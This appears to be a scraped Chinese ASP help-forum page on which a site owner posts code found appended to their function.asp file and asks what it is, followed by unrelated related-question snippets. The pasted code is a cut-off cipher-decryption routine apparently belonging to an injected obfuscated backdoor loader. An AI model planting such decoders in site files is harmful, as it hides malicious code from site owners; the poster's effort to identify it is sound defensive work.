易截截图软件、单文件、免安装、纯绿色、仅160KB

关于asp代码 不懂

前几天 在自己网站打不开  发现有个function.asp 文件 最下面多了一串代码

<%
Public Const sDefaultWHEEL1 = "vCL0dX,w4o=N n.1i/UB:l3DbyH(zRg+OueVS>t <fm-""spAExMTqkaYjP_hrWGcF92)"
Public Const sDefaultWHEEL2 = "j(P0+>1Live)wC=zgurfhbdoXGSDVyEx4-BOW.Yms3qpHkA_/ Fal,N9tnR:""U2 <cTM"

Function Decrypt_PRO(sINPUT , sPASSWORD )
Dim sWHEEL1, sWHEEL2
Dim k, i, c
Dim sRESULT
sWHEEL1 = sDefaultWHEEL1: sWHEEL2 = sDefaultWHEEL2
ScrambleWheels sWHEEL1, sWHEEL2, sPASSWORD
sRESULT = ""
For i = 1 To Len(sINPUT)
c = mid(sINPUT, i, 1)
k = InStr(1, sWHEEL2, c, vbBinaryCompare)
If k > 0 Then
sRESULT = sRESULT & mid(sWHEEL1, k, 1)
Else
sRESULT = sRESULT & Addpass(c,sPASSWORD)
End If
sWHEEL1 = LeftShift(sWHEEL1): sWHEEL2 = RightShift(sWHEEL2)
Next
Decrypt_PRO = sRESULT
End Function

Function LeftShift(s )
If Len(s) > 0 Then LeftShift = mid(s, 2, Len(s) - 1) & mid(s, 1, 1)
End Function

Function RightShift(s )
If Len(s) > 0 Then RightShift = mid(s, Len(s), 1) & mid(s, 1, Len(s) - 1)
End Function

Sub ScrambleWheels(ByRef sW1 , ByRef sW2 , sPASSWORD )
Dim i ,k
For i = 1 To Len(sPASSWORD)
For k = 1 To ascW(mid(sPASSWORD, i, 1))


相关问答:

ASP简单问题

conn.asp

<%
Set Conn=Server.CreateObject("ADODB.Connection")
Conn.ConnectionString="Provider=Microsoft.Jet.OLEDB.4.0; Data Source="&server.MapPath("Connt ......

求改一个ASP小程序加上传功能和下载功能。。

文件:folder.inc
HTML code:

<%
Dim folderini,pos,pageName
fPath = Request.ServerVariables("PATH_TRANSLATED")
pos = instrRev(fPath,"\")
folderini = Left(fPath,pos)+&qu ......

asp对sql操作update出错。

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e31'

[Microsoft][ODBC SQL Server Driver]超时已过期

/aa.asp,行 166

conn.execute("update dd set pb=1 where id= ......

asp空间问题

我要买空间,放动态网页,不知那的空间好,望大家帮忙介绍?另外这个网站用的是那的空间?望各位哥哥,姐姐帮忙!!
我用的佰网,价钱便宜还很实惠

www.zzy.cn

www.zzy.cn

csdn用的肯定是自己的服务器,现在网络上 ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号